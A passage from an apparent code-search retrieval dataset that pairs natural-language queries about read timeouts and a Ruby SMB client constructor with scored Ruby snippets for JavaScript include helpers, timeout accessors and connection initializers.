"text": "def include_javascript (file)\n\t\tcontent_for(:extrahead) { javascript_include_tag file }\n\tend",
"title": ""
},
{
"docid": "ccf027f7450c1b13b91bfd342d84a490",
"score": "0.50298154",
"text": "def fg_menu_includes\n result = javascript_include_tag('fg.menu')\n result << javascript_include_tag('ipod_menu')\n result << stylesheet_link_tag('ipod-menu/fg.menu.css')\n result << stylesheet_link_tag('ipod-menu/theme/ui.all.css')\n result\n end",
"title": ""
},
{
"docid": "172d7deeb05eda437acccd0402df0a76",
"score": "0.50259966",
"text": "def create_javascript_tags(paths_or_urls, options = {})\n arguments = [paths_or_urls, options].flatten\n options = arguments.last.is_a?(Hash) ? arguments.pop : nil\n\n arguments.map { |path_or_url|\n arguments = [path_or_url, options].compact\n javascript_include_tag(*arguments)\n }.join.html_safe\n end",
"title": ""
},
{
"docid": "c8362a9d8525d9b2c86eb78957003301",
"score": "0.50255513",
"text": "def init_sources #:nodoc:\n @css_temp_hold[:reset] << \"#{@reset_css}\" unless @reset_css.nil? || @reset_css.empty?\n resolve_js_libs( \"#{@jquery_js}\", \"#{@jquery_folder}#{@url_js}\", \"#{@js_folder}#{@guilded_js}\" )\n #TODO include the jQuery lib from Google server in production\n end",
"title": ""
},
{
"docid": "4e6debe01c477a63eee51a54a1cdb8bc",
"score": "0.50248235",
"text": "def scripts(doc)\n scripts = []\n doc.css('script').each do |node|\n file = node['src'].split('/').last()\n if node['src'].start_with?('javascripts/')\n scripts << file\n end\n end\n scripts\nend",
"title": ""
},
{
"docid": "ac822377f0833b96369a2d8f85b85ce1",
"score": "0.501952",
"text": "def javascript_bundle_include_tags(bundle)\n sn = request.script_name rescue nil\n files = settings.javascript_bundles[bundle].files.map do |file|\n \"<script src=\\\"/javascripts/#{file}.js\\\" type=\\\"text/javascript\\\"></script>\\n\"\n end\n end",
"title": ""
},
{
"docid": "0fcc12f3bc250aad700a6c8b132d620d",
"score": "0.5008592",
"text": "def javascript_for_page\n javascript_tag %Q{\n #{@_toplevel_javascript}\n\n (jQuery)(function() {\n #{@_domready_javascript}\n });\n }\n end",
"title": ""
}
] |
7ce9cd758186f4e79644abf308bf8e44
|
Return read deadline for current read state
|
[
{
"docid": "a969fae6fee91284c89b1d0fa79ef335",
"score": "0.60395366",
"text": "def read_state_timeout\n case\n when opening? && @open_timeout\n [:open, @opening_at, @open_timeout]\n when pinging? && @ping_timeout\n [:pong, @ping_at, @ping_timeout]\n when closing? && @close_timeout\n [:close, @closing_at, @close_timeout]\n when @ping_interval\n [:ping, @ping_at, @ping_interval]\n else\n [nil, nil, nil]\n end\n end",
"title": ""
}
] |
[
{
"docid": "991e504bdeda61c49b5c6143787f6023",
"score": "0.7446598",
"text": "def read_timeout\n @io.read_timeout\n end",
"title": ""
},
{
"docid": "a5e675d2c4733f15f6e94a3089015318",
"score": "0.72959703",
"text": "def read_timeout\n @read_timeout ||= READ_TIMEOUT\n end",
"title": ""
},
{
"docid": "a589d1cd0b8bb99b91d6534e56179ac1",
"score": "0.71911913",
"text": "def read_timeout\n @agent.read_timeout\n end",
"title": ""
},
{
"docid": "a589d1cd0b8bb99b91d6534e56179ac1",
"score": "0.71911913",
"text": "def read_timeout\n @agent.read_timeout\n end",
"title": ""
},
{
"docid": "345769e9003d56e6b3c712cdaf17bcbd",
"score": "0.7026852",
"text": "def read_timeout; end",
"title": ""
},
{
"docid": "345769e9003d56e6b3c712cdaf17bcbd",
"score": "0.7026852",
"text": "def read_timeout; end",
"title": ""
},
{
"docid": "345769e9003d56e6b3c712cdaf17bcbd",
"score": "0.7026852",
"text": "def read_timeout; end",
"title": ""
},
{
"docid": "345769e9003d56e6b3c712cdaf17bcbd",
"score": "0.7026852",
"text": "def read_timeout; end",
"title": ""
},
{
"docid": "345769e9003d56e6b3c712cdaf17bcbd",
"score": "0.7026852",
"text": "def read_timeout; end",
"title": ""
},
{
"docid": "345769e9003d56e6b3c712cdaf17bcbd",
"score": "0.7026852",
"text": "def read_timeout; end",
"title": ""
},
{
"docid": "345769e9003d56e6b3c712cdaf17bcbd",
"score": "0.7026852",
"text": "def read_timeout; end",
"title": ""
},
{
"docid": "345769e9003d56e6b3c712cdaf17bcbd",
"score": "0.70266575",
"text": "def read_timeout; end",
"title": ""
},
{
"docid": "d5eb2890f622f230b198558d18015ed1",
"score": "0.7018627",
"text": "def get_timeout deadline\n return if deadline.nil?\n deadline - Process.clock_gettime(Process::CLOCK_MONOTONIC)\n end",
"title": ""
},
{
"docid": "de5b673692acdcfee8728796cb7edb9c",
"score": "0.69949895",
"text": "def read_timeout=(_arg0); end",
"title": ""
},
{
"docid": "de5b673692acdcfee8728796cb7edb9c",
"score": "0.69949895",
"text": "def read_timeout=(_arg0); end",
"title": ""
},
{
"docid": "de5b673692acdcfee8728796cb7edb9c",
"score": "0.69949895",
"text": "def read_timeout=(_arg0); end",
"title": ""
},
{
"docid": "de5b673692acdcfee8728796cb7edb9c",
"score": "0.69949895",
"text": "def read_timeout=(_arg0); end",
"title": ""
},
{
"docid": "de5b673692acdcfee8728796cb7edb9c",
"score": "0.69949895",
"text": "def read_timeout=(_arg0); end",
"title": ""
},
{
"docid": "a474d106cd3d92bf518a38bb497bac67",
"score": "0.69635046",
"text": "def read_timeout\n @opts[:read_timeout]\n end",
"title": ""
},
{
"docid": "a474d106cd3d92bf518a38bb497bac67",
"score": "0.69635046",
"text": "def read_timeout\n @opts[:read_timeout]\n end",
"title": ""
},
{
"docid": "a474d106cd3d92bf518a38bb497bac67",
"score": "0.69635046",
"text": "def read_timeout\n @opts[:read_timeout]\n end",
"title": ""
},
{
"docid": "92369fc1bea794123b0ff9d00e3bc4aa",
"score": "0.69278824",
"text": "def read_timeout(value); end",
"title": ""
},
{
"docid": "21a443517310603514eb0ae12eef1dd2",
"score": "0.69198596",
"text": "def read_timeout=(sec); end",
"title": ""
},
{
"docid": "21a443517310603514eb0ae12eef1dd2",
"score": "0.69198596",
"text": "def read_timeout=(sec); end",
"title": ""
},
{
"docid": "411f8e045104145aba9382f007e70d85",
"score": "0.6858145",
"text": "def read_timeout\n if defined?(@read_timeout)\n @read_timeout\n elsif superclass != Object && superclass.read_timeout\n superclass.read_timeout\n end\n end",
"title": ""
},
{
"docid": "411f8e045104145aba9382f007e70d85",
"score": "0.6858145",
"text": "def read_timeout\n if defined?(@read_timeout)\n @read_timeout\n elsif superclass != Object && superclass.read_timeout\n superclass.read_timeout\n end\n end",
"title": ""
},
{
"docid": "6f2be1b04d041b3e616aecc6ce96ae0c",
"score": "0.683992",
"text": "def read_timeout=(timeout); end",
"title": ""
},
{
"docid": "e541231cfba4b26d74529b829dd06d1e",
"score": "0.68236214",
"text": "def read_timeout\n socket.read_timeout\n end",
"title": ""
},
{
"docid": "896524a22b1c7142fa3158213212adc8",
"score": "0.6735135",
"text": "def def_read_timeout\n 10\n end",
"title": ""
},
{
"docid": "65173fb62474429e1afb09bea320059d",
"score": "0.6711852",
"text": "def read_timeout\n if ENV[\"ARTIFACTORY_READ_TIMEOUT\"]\n ENV[\"ARTIFACTORY_READ_TIMEOUT\"].to_i\n else\n 120\n end\n end",
"title": ""
},
{
"docid": "a1838a42e0619dd3eb822f8a9114670e",
"score": "0.6528928",
"text": "def read\n read_timeout blocking? ? -1 : 0\n end",
"title": ""
},
{
"docid": "f09753aba9ab094676058dd63d6e2d4f",
"score": "0.64260036",
"text": "def read_timeout_exceeded?\n @read_timeout && duration_since_received > (@read_timeout*1000)\n end",
"title": ""
},
{
"docid": "188741994d4014e34590489c12bb2f3a",
"score": "0.6396604",
"text": "def read_timeout\n ENV[\"VAULT_READ_TIMEOUT\"]\n end",
"title": ""
},
{
"docid": "09a68d8294b49297b8495af83c3ecb52",
"score": "0.6366912",
"text": "def read_timeout= val\n @io.read_timeout = val\n end",
"title": ""
},
{
"docid": "63fb4387885b73884a14179a7a604285",
"score": "0.6285498",
"text": "def get_timeout\n payload = get_payload\n payload['state'] == 'processing' ? payload['cooldown'].to_i.seconds.from_now : Time.parse(payload['locked_until'])\n end",
"title": ""
},
{
"docid": "f9d15cae3e377f64d4e12ca7da32a5e8",
"score": "0.6268861",
"text": "def deadline\n @gapi[\"ackDeadlineSeconds\"]\n end",
"title": ""
},
{
"docid": "4369816c140b4297f4c29b4eea3c25d3",
"score": "0.62392",
"text": "def read_retry_interval\n options[:read_retry_interval] || READ_RETRY_INTERVAL\n end",
"title": ""
},
{
"docid": "4369816c140b4297f4c29b4eea3c25d3",
"score": "0.62392",
"text": "def read_retry_interval\n options[:read_retry_interval] || READ_RETRY_INTERVAL\n end",
"title": ""
},
{
"docid": "8b73ed47195a1e10a579140d1be66d40",
"score": "0.62165695",
"text": "def read_timeout(timeout)\n define_method(:with_read_timeout) do\n {read_timeout: timeout}\n end\n end",
"title": ""
},
{
"docid": "1be511bcd65643a8b5fe6929b40493ba",
"score": "0.61354136",
"text": "def wait_readable_or_timeout\n @socket.to_io.wait_readable(@time_left)\n log_time\n end",
"title": ""
},
{
"docid": "d6f49755e01fe25ab81b9b48c5d68da7",
"score": "0.61282235",
"text": "def read_loop_timeout\n datastore['RmiReadLoopTimeout'] || 1\n end",
"title": ""
},
{
"docid": "8bc7376a30ca7701529e1eb18c7e298d",
"score": "0.60973877",
"text": "def get_timeout\n @timeout\n end",
"title": ""
},
{
"docid": "2374f3b6c8fcc23137fd6191c38b4a6a",
"score": "0.60966605",
"text": "def http_read_timeout\n @http_read_timeout ||= 5\n end",
"title": ""
},
{
"docid": "2374f3b6c8fcc23137fd6191c38b4a6a",
"score": "0.60966605",
"text": "def http_read_timeout\n @http_read_timeout ||= 5\n end",
"title": ""
},
{
"docid": "91ce60d5ae79b4380d3d2f2d7fa4c2b2",
"score": "0.6092582",
"text": "def time_left\n\t self.deadline - DateTime.now\n\tend",
"title": ""
},
{
"docid": "0d58a444af8ea196f306f277d01067d3",
"score": "0.60668117",
"text": "def read_timeout(value)\n validate_timeout_argument(__method__, value)\n default_options[:read_timeout] = value\n end",
"title": ""
},
{
"docid": "b1b0669cfb57cf1984ee89c299ec7332",
"score": "0.60584056",
"text": "def read_timeout(read_timeout)\n @options[:read_timeout] = read_timeout\n end",
"title": ""
},
{
"docid": "4747ab87a1e9d77696fe15f55bf7f5f5",
"score": "0.6041371",
"text": "def get_timeout() \n return @timeout\n end",
"title": ""
},
{
"docid": "92ce8c07a94cd813ac8aa6fe78b86469",
"score": "0.6033415",
"text": "def deadline; end",
"title": ""
},
{
"docid": "f397d7f099c7232294ba3abffb84347d",
"score": "0.6012751",
"text": "def deadline\n tstamp = Cproton.pn_selectable_deadline(@impl)\n tstamp.nil? ? nil : tstamp / 1000\n end",
"title": ""
},
{
"docid": "e8a84499cb2b3cfbdb98410d48f2a4e7",
"score": "0.59583443",
"text": "def read_at\n @read_at\n end",
"title": ""
},
{
"docid": "e8a84499cb2b3cfbdb98410d48f2a4e7",
"score": "0.59583443",
"text": "def read_at\n @read_at\n end",
"title": ""
},
{
"docid": "30c9141961e7a57e87bb5bbab522efa4",
"score": "0.5874316",
"text": "def deadline\n ensure_gapi!\n @gapi[\"ackDeadlineSeconds\"]\n end",
"title": ""
},
{
"docid": "30c9141961e7a57e87bb5bbab522efa4",
"score": "0.5874316",
"text": "def deadline\n ensure_gapi!\n @gapi[\"ackDeadlineSeconds\"]\n end",
"title": ""
},
{
"docid": "30c9141961e7a57e87bb5bbab522efa4",
"score": "0.5874316",
"text": "def deadline\n ensure_gapi!\n @gapi[\"ackDeadlineSeconds\"]\n end",
"title": ""
},
{
"docid": "86fe3d460e0c34b429957634d248667b",
"score": "0.5828028",
"text": "def deadline_date_time\n return @deadline_date_time\n end",
"title": ""
},
{
"docid": "8495387c0ec4bb5635f22d5b37bf6b65",
"score": "0.5816297",
"text": "def wait_readable(timeout = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "a31d1252c6951f0b2e556b39b23455d9",
"score": "0.5809625",
"text": "def read_timeout=(read_timeout)\n @agent.read_timeout = read_timeout\n end",
"title": ""
},
{
"docid": "dad2b15c3b7c1873656e392becd684ed",
"score": "0.5790849",
"text": "def deadline_for_quality_updates_in_days\n return @deadline_for_quality_updates_in_days\n end",
"title": ""
},
{
"docid": "624adad122fb5c96891e0aa57acb6c5a",
"score": "0.57651335",
"text": "def read_timeout=(read_timeout)\n raise 'attribute read_timeout must be Integer' unless read_timeout.is_a?(Integer)\n @read_timeout = read_timeout\n end",
"title": ""
},
{
"docid": "85c8720b5ae89847c17899d462f51ef0",
"score": "0.5759043",
"text": "def wait_readable(timeout=nil)\n read?(timeout)\n self\n end",
"title": ""
},
{
"docid": "23cdb8d6e5e8d91ad6054ab1cccef4ed",
"score": "0.5748644",
"text": "def status\n read ? 'readed' : 'unreaded'\n end",
"title": ""
},
{
"docid": "75e25202483941e136b60466902b1fd7",
"score": "0.57427484",
"text": "def comm_inactivity_timeout\n EventMachine::get_comm_inactivity_timeout @signature\n end",
"title": ""
},
{
"docid": "3cb143ea261840d50f639eec933036f2",
"score": "0.5713149",
"text": "def timeout\n return @timeout if defined?(@timeout)\n Fetch.config.timeout\n end",
"title": ""
},
{
"docid": "9b0e60b3a9cd398198cd1a205e414682",
"score": "0.5686565",
"text": "def read_io(keyseq_timeout, &block); end",
"title": ""
},
{
"docid": "9b0e60b3a9cd398198cd1a205e414682",
"score": "0.5686565",
"text": "def read_io(keyseq_timeout, &block); end",
"title": ""
},
{
"docid": "da5117e84bfe27c1cb561546cc7b600d",
"score": "0.5677002",
"text": "def timeout\n return @timeout\n end",
"title": ""
},
{
"docid": "4c62f5dba54936331dbc1261015bb682",
"score": "0.56727725",
"text": "def last_time_messages_read_at\n last_time_notfn_checked\n end",
"title": ""
},
{
"docid": "6b9aef357143e7cdabb287c7fe773358",
"score": "0.56665856",
"text": "def read_timeout=(sec)\n @socket.read_timeout = sec if @socket\n @read_timeout = sec\n end",
"title": ""
},
{
"docid": "6b9aef357143e7cdabb287c7fe773358",
"score": "0.56665856",
"text": "def read_timeout=(sec)\n @socket.read_timeout = sec if @socket\n @read_timeout = sec\n end",
"title": ""
},
{
"docid": "6b9aef357143e7cdabb287c7fe773358",
"score": "0.56665856",
"text": "def read_timeout=(sec)\n @socket.read_timeout = sec if @socket\n @read_timeout = sec\n end",
"title": ""
},
{
"docid": "ad3ed0b453a04ecfb9e171cd696960e6",
"score": "0.5645641",
"text": "def wait_readable(timeout=nil)\n wait timeout, :read\n end",
"title": ""
},
{
"docid": "1d114e847698856294875992e7b3c900",
"score": "0.5640717",
"text": "def timeout\n @timeout ||= (wait_time - elapsed_time).to_i\n end",
"title": ""
},
{
"docid": "8e66106d0501a56b73e513ae35d15047",
"score": "0.56285036",
"text": "def current_timeout\n\n stamps = self.attributes['__timeouts__']\n return nil unless stamps\n\n stamps[\"#{fei.wfid}__#{fei.expid}\"]\n end",
"title": ""
},
{
"docid": "179a774cfbee4e74e55c3173a9087be3",
"score": "0.55912465",
"text": "def read_timeout=(sec)\r\n @socket.read_timeout = sec if @socket\r\n @read_timeout = sec\r\n end",
"title": ""
},
{
"docid": "7efa225d64dad5f2b09f5f8477ac27d4",
"score": "0.5590118",
"text": "def dispatch_deadline\n @dispatch_deadline ||= begin\n configured_deadline = (\n self.class.cloudtasker_options_hash[:dispatch_deadline] ||\n Cloudtasker.config.dispatch_deadline\n ).to_i\n configured_deadline.clamp(Config::MIN_DISPATCH_DEADLINE, Config::MAX_DISPATCH_DEADLINE)\n end\n end",
"title": ""
},
{
"docid": "0e6d6f5cb7d0ae841d5d873ce247bb3d",
"score": "0.5577401",
"text": "def read_final_error\n read_error if connection.readable?(self.final_timeout)\n end",
"title": ""
},
{
"docid": "87be179a1ee5e467660cd0efa376e2a7",
"score": "0.5569111",
"text": "def finished_reading?; @finished_read; end",
"title": ""
},
{
"docid": "f9b69f58c666560da6fc826c35f92966",
"score": "0.55613774",
"text": "def read\n Time.now\n end",
"title": ""
},
{
"docid": "c5031613ddf65774c012d2e15a4ddbba",
"score": "0.55596566",
"text": "def open_timeout; end",
"title": ""
},
{
"docid": "c5031613ddf65774c012d2e15a4ddbba",
"score": "0.55596566",
"text": "def open_timeout; end",
"title": ""
},
{
"docid": "c5031613ddf65774c012d2e15a4ddbba",
"score": "0.55596566",
"text": "def open_timeout; end",
"title": ""
},
{
"docid": "c5031613ddf65774c012d2e15a4ddbba",
"score": "0.55596566",
"text": "def open_timeout; end",
"title": ""
},
{
"docid": "c5031613ddf65774c012d2e15a4ddbba",
"score": "0.55596566",
"text": "def open_timeout; end",
"title": ""
},
{
"docid": "c5031613ddf65774c012d2e15a4ddbba",
"score": "0.55596566",
"text": "def open_timeout; end",
"title": ""
},
{
"docid": "c5031613ddf65774c012d2e15a4ddbba",
"score": "0.55596566",
"text": "def open_timeout; end",
"title": ""
},
{
"docid": "c5031613ddf65774c012d2e15a4ddbba",
"score": "0.55596566",
"text": "def open_timeout; end",
"title": ""
},
{
"docid": "befe98d53b48abb355c250ccd71e5ed3",
"score": "0.555775",
"text": "def read_timeout=(read_timeout)\n @connection = nil\n @read_timeout = read_timeout\n end",
"title": ""
},
{
"docid": "1d84e6fa521003b7968d1415db50a43a",
"score": "0.55357397",
"text": "def read_blocked\n end",
"title": ""
},
{
"docid": "f447977b47a4d03412955921d7b6dc7e",
"score": "0.55225474",
"text": "def end_time\n read\n @end_time\n end",
"title": ""
},
{
"docid": "952d6c3055fd2692a431c2608c265a9b",
"score": "0.5522221",
"text": "def idle_timeout\n @http.idle_timeout\n end",
"title": ""
},
{
"docid": "fce9b776d087c3e4a3efc8c753337f68",
"score": "0.55150205",
"text": "def io_wait\n aruba.config.io_wait_timeout\n end",
"title": ""
},
{
"docid": "ff79cfb03f8f9f8b6f093795509a2f0b",
"score": "0.5514817",
"text": "def time_left\n @timeout_duration - (Time.new - @request_start)\n end",
"title": ""
},
{
"docid": "823b67bf1518120969304062a5c764e5",
"score": "0.55116147",
"text": "def open_timeout\n @agent.open_timeout\n end",
"title": ""
},
{
"docid": "60a7e4100c9e49737a0c23df59cdb495",
"score": "0.55049634",
"text": "def heartbeat_timeout\n data[:heartbeat_timeout]\n end",
"title": ""
},
{
"docid": "f4c65b07004000c7cfe302dd77b71a73",
"score": "0.54835075",
"text": "def schedule_read\n @multiplexer.defer self unless @read_buffer.empty?\n\n # Resume read signal if we had paused due to full buffer\n if !@exception && @was_paused\n @was_paused = false\n @multiplexer.wait_read self\n end\n\n nil\n end",
"title": ""
},
{
"docid": "17b35a6dbeb8ff5fbfbe44e2318e2dab",
"score": "0.54829115",
"text": "def max_read_delay(size)\n read_delay(size + alignment - 1)\n end",
"title": ""
},
{
"docid": "b1546ec9f81db8057129b61e816c2a39",
"score": "0.54827577",
"text": "def time_since_last_communication\n state_file = @options[:state_path] || File.join(AgentConfig.agent_state_dir, 'state.js')\n state = @state_serializer.load(File.read(state_file)) if File.file?(state_file)\n state.nil? ? (@options[:time_limit] + 1) : (Time.now.to_i - state[\"last_communication\"])\n end",
"title": ""
},
{
"docid": "04f435601020ccc96c01ead17254484d",
"score": "0.54760563",
"text": "def deadline\n return nil unless iteration.present?\n Time.at(iteration.deadline.to_i + end_offset.to_i).to_datetime\n end",
"title": ""
},
{
"docid": "bd3ec7db156e2a48cb757c3efe176fa0",
"score": "0.5471859",
"text": "def timeout_at; end",
"title": ""
}
] |
1bdef7ae4f559cd8522454b3d6ab75d8
|
The +new+ class method initializes Sambala. === Parameters :domain = the smb server domain, optionnal in most cases :host = the hostname of the smb server, may be IP or fully qualified domain name :user = the user name to log into the server :password = the password to log into the server === Example samba = Sambala.new( :domain => 'NTDOMAIN', :host => 'sambaserver', :share => 'sambashare', :user => 'walrus', :password => 'eggman')
|
[
{
"docid": "a9cb2dcd2cc70c74b9bdd7990d23878c",
"score": "0.0",
"text": "def initialize(options={:domain => '', :host => '', :share => '', :user => '', :password => ''})\n $log_sambala = GlobaLog.logger(STDERR,:warn)\n\t\t@recurse = false\n\t\tbegin\n options[:init_timeout] = 1\n @options = options; gardener_ok\n rescue\n @gardener.close unless @gardener.nil? || @gardener.class != 'Gardener'\n raise RuntimeError.exception(\"Unknown Process Failed!! (#{$!.to_s})\")\n end\n end",
"title": ""
}
] |
[
{
"docid": "733631a9e1860da8ba67f44257835232",
"score": "0.66427577",
"text": "def initialize(_host, _user, _password)\r\n @host = _host\r\n @user = _user\r\n @password = _password\r\n end",
"title": ""
},
{
"docid": "47639229f84f1058fa2f33f8ea519ef5",
"score": "0.6624949",
"text": "def initialize(user=USER, pass=PASS, domain=DOMAIN, subdomain=SUBDOMAIN, port=PORT)\n @auth = {:username => user, :password => pass}\n @domain = domain\n @subdomain = subdomain\n @port = port\n end",
"title": ""
},
{
"docid": "39e89fb01212a4a74ed3228e84992476",
"score": "0.64112604",
"text": "def initialize(host, user)\n @host = host\n @user = user\n end",
"title": ""
},
{
"docid": "58ebea8121d163cd89dba7f9d5315fe0",
"score": "0.6373291",
"text": "def initialize(server, user_name, password)\n @server = server\n @user_name = user_name\n @password = password\n end",
"title": ""
},
{
"docid": "b4d5fde3c4b7cce9c45be33bba861ad7",
"score": "0.63705355",
"text": "def initialize(username, password, subdomain)\n @username = username\n @password = password\n @subdomain = subdomain\n end",
"title": ""
},
{
"docid": "f9f8ff2f1c72dbd13f68d1ae4cfd4ca0",
"score": "0.6315663",
"text": "def initialize(subdomain, user, password)\n @subdomain = subdomain.to_s.strip\n @user = user.to_s.strip\n @password = password.to_s.strip\n \n raise AccountError, \"Subdomain required!\" if @subdomain.empty?\n raise AccountError, \"Username required!\" if @user.empty?\n raise AccountError, \"Password required!\" if @password.empty?\n end",
"title": ""
},
{
"docid": "786b64f388f7225838a8273fd9711378",
"score": "0.6290784",
"text": "def initialize(username, password, ou, ldaphost, domain, tld)\n @username = username\n @password = password\n @ou = ou\n @ldaphost = ldaphost\n @domain = domain\n @tld = tld\n @base = \"dc=#{@domain},dc=#{@tld}\"\n @dn = \"uid=#{@username},ou=#{@ou},dc=#{@domain},dc=#{@tld}\"\n end",
"title": ""
},
{
"docid": "3cce6ccf47b6a7d455bcda1d1ed7ab08",
"score": "0.6260228",
"text": "def initialize\n @user = Etc.getlogin\n @group = system_www_group\n end",
"title": ""
},
{
"docid": "89de0443d13ad842b4dd300556c58e30",
"score": "0.6220354",
"text": "def initialize(host, username = nil, passwd = nil,detec=nil)\n\t\t@control_url = \"http://#{host}/\"\n\t\t@username = username\n\t\t@password = passwd\n\t\t@auth_id = Base64.encode64(\"#{username}:#{passwd}\") if username\n\t\tabs_position\n\n\t\t\n\t\t\n\tend",
"title": ""
},
{
"docid": "a2ecfd4a3e1e5bd1c8a9d086321d20c5",
"score": "0.6187375",
"text": "def initialize(host, username = nil, passwd = nil,detec = nil)\n\t\t@host = host\n\t\t@control_url = \"http://#{host}/cgi-bin/\"\n\t\t@username = username\n\t\t@password = passwd\n\t\t@deteccion = detec\n\t\t@auth_id = Base64.encode64(\"#{@username}:#{@password}\") if @username\n\tend",
"title": ""
},
{
"docid": "278c9f28cbaaae4282197a96e32407b9",
"score": "0.6162417",
"text": "def initialize(site)\n raise ArgumentError, 'Missing site address' unless site\n @user = @password = nil\n self.site = site\n end",
"title": ""
},
{
"docid": "591ce7ee16b4b7638c9b489b334b749c",
"score": "0.6079002",
"text": "def initialize(username, password)\n raise StandardError, \"Username must not be blank\" if username.blank?\n raise StandardError, \"Password must not be blank\" if password.blank?\n username = parse_username(username)\n qualified_username = \"#{username}@#{domain}\"\n @qualified_username, @username, @password = qualified_username, username.to_s, password.to_s\n @treebase = domain.split('.').map{|v| \"dc=#{v}\"}.join(',')\n @user_details_cache = {}\n end",
"title": ""
},
{
"docid": "97570c595b99f50ed5f95dd9106433c5",
"score": "0.607458",
"text": "def initialize (host, port, username, secret)\n @host = host\n @port = port\n @username = username\n @secret = secret\n \n @connected = false\n @logged_in = false\n @logger = AsteriskLogger.new\n end",
"title": ""
},
{
"docid": "1440eb089bb72a843e3af860ef980f79",
"score": "0.6057739",
"text": "def initialize(host = 'localhost', port = 10_011)\n connect(host, 10_011)\n login(Settings.teamspeak.login,Settings.teamspeak.password)\n end",
"title": ""
},
{
"docid": "a3ef2cc26e3da27ffaafc00bdb6dbadc",
"score": "0.60504436",
"text": "def initialize(user, password, host, port = nil, useDnsSrv = nil, max_retries = nil)\n\n # Set internal attributes\n @userJID = \"#{user}@#{host}\"\n @password = password\n @homeServer = host\n @port = port || 5222\n @useDnsSrv = useDnsSrv || false\n @max_retries = max_retries || 0\n @serviceHelpers = Hash.new # Holds the list of service helpers\n @connecting = false\n @keepAliveThread = nil\n @cSemaphore = Mutex.new\n\n # Open a connection to the home XMPP Server\n # Any exception raised here shall be caught by the caller\n @clientHelper = Jabber::Client.new(@userJID)\n connect\n @clientHelper.on_exception { connect }\n end",
"title": ""
},
{
"docid": "2520a218a00d8db4afef7b17efe9cfb4",
"score": "0.6040511",
"text": "def initialize(un=\"\", pw=\"\", host=\"mks\", verbose=false)\r\n @host = \"--hostname=#{host}\"\r\n @un = \"--user=#{un}\"\r\n @pw = \"--password=#{pw}\"\r\n @verbose = verbose\r\n end",
"title": ""
},
{
"docid": "dfd9331e03ae81606b0fe4ef7cb4d165",
"score": "0.60293466",
"text": "def initialize(proto, host, port, user, pass)\n @proto = proto\n @host = host\n @port = port\n @user = user\n @pass = pass\n end",
"title": ""
},
{
"docid": "977f84aff601a18427da7b67dd1c7d84",
"score": "0.60219514",
"text": "def initialize(host=\"localhost\",port=\"6002\",user=\"autohb\",pass=\"autopass\")\n @client = SIP2Client.new(host, port)\n @client.connect(\"#{user}\", \"#{pass}\")\n end",
"title": ""
},
{
"docid": "88832ba4f164f57f06dd228c83dc9541",
"score": "0.6020917",
"text": "def initialize(attributes = nil)\n return unless attributes\n @host = attributes['Host']\n @name = attributes['User']\n @password = attributes['Password']\n end",
"title": ""
},
{
"docid": "9ccea2e688b1c7af70cc64c9a4081f00",
"score": "0.60071105",
"text": "def initialize(subdomain, user, password)\n @account = Account.new(subdomain, user, password)\n check_credentials\n end",
"title": ""
},
{
"docid": "c41a832e475ecce93e372149d609ae60",
"score": "0.6002382",
"text": "def initialize(host:, username: nil, password: nil, token: nil)\n @host = host.sub(/\\/$/,'')\n @token, @token_expires = token, nil\n @username, @password = username, password\n\n if username && password\n login(username, password)\n end\n end",
"title": ""
},
{
"docid": "df13ae95d7b836e8c33f92a84b7f2587",
"score": "0.5994741",
"text": "def initialize(site)\n raise ArgumentError, 'Missing site URI' unless site\n @user = @password = nil\n self.site = site\n end",
"title": ""
},
{
"docid": "93786e1a3ef4a2f04eb096c044af3bb4",
"score": "0.598755",
"text": "def initialize(u, p)\r\n @auth = {username: u, password: p}\r\n\r\n end",
"title": ""
},
{
"docid": "fc3a95cb6d44980aba2190564c65955a",
"score": "0.59621084",
"text": "def initialize( uri = OSMLib::API::DEFAULT_BASE_URI, username = nil, password = nil, passwordfile = nil )\n\n @base_uri = uri\n\n @username = username \n @password = password \n \n # TODO handle password files\n if passwordfile then\n credentials = open(passwordfile).readline().split(\":\")\n @username = credentials[0].strip() \n @password = credentials[1].strip()\n end\n end",
"title": ""
},
{
"docid": "016f0d075b1dac5566280a8d660430ab",
"score": "0.59538",
"text": "def initialize(host='localhost')\n\t\t@host = host\n\tend",
"title": ""
},
{
"docid": "089cc52e476bc8073dbda8961b9bc140",
"score": "0.59493047",
"text": "def initialize(archivesspace_url: AppConfig[:archivesspace_url],\n username: AppConfig[:archivesspace_user],\n password: AppConfig[:archivesspace_password])\n @url = archivesspace_url\n @username = username\n @password = password\n\n # FIXME: We'll need some handling of lost sessions so the app reconnects if\n # ArchivesSpace's sessions are cleared.\n @session = login!\n end",
"title": ""
},
{
"docid": "e17b1b618674f8e1d4a7ab4087078ebf",
"score": "0.5930618",
"text": "def set_cifs_service(domain = nil, username = nil, password = nil)\n self.domain = domain\n self.user_name = username\n self.password = password\n self.service = Credential::Service::CIFS\n end",
"title": ""
},
{
"docid": "3ab5eadd70fc1b7327bdb8ee35b717df",
"score": "0.5927783",
"text": "def initialize(hostname, options = {})\n @hostname = hostname\n @user = options[:user] || 'root'\n @password = options[:password] || nil\n end",
"title": ""
},
{
"docid": "7db2bd5ee771c9d2ad89e6eaf5c22d4b",
"score": "0.59029096",
"text": "def initialize(host = nil, key = nil, user = nil, pass = nil, port = 55443)\n @host = host || MooMoo.config.host\n @key = key || MooMoo.config.key\n @user = user || MooMoo.config.user\n @pass = pass || MooMoo.config.pass\n @port = port || MooMoo.config.port\n end",
"title": ""
},
{
"docid": "34ea2c2956c74b509f9e1cb3a4bcd756",
"score": "0.59028435",
"text": "def initialize(host, user, password, base, use_cache: false)\n self.base = base\n self.cache = {}\n self.use_cache = use_cache\n open(host, user, password)\n end",
"title": ""
},
{
"docid": "54d09df39a86df3fa352781f531b9431",
"score": "0.59017825",
"text": "def initialize(username, password)\n self.username = username\n self.password = password\n end",
"title": ""
},
{
"docid": "cb99c154bb86eed7687e00a17c796be9",
"score": "0.589817",
"text": "def initialize(domain, subdomain='wave', sock=nil)\n\t\tsubdomain = \"#{subdomain}.\" if subdomain\n\n\t\t@domain = domain\n\t\t@name = \"#{subdomain}#{domain}\"\n\t\t@servers = ServerList.new\n\t\t@sock = sock\n\t\t@packet_ids = {}\n\t\t@ready = false\n\n\t\t@local = Server.new(self, @domain, @name)\n\t\[email protected] = :local\n\t\t@servers << @local\n\tend",
"title": ""
},
{
"docid": "f62c789eba7c57141d6c94140ff02898",
"score": "0.5897454",
"text": "def initialize(args)\n @username = args[:username]\n @password = args[:password]\n @base_uri = \"https://my.smartlinknetwork.com\"\n # @base_uri = 'http://localhost:3000'\n end",
"title": ""
},
{
"docid": "49a62af8aa5b17ab38f05ae63a29872d",
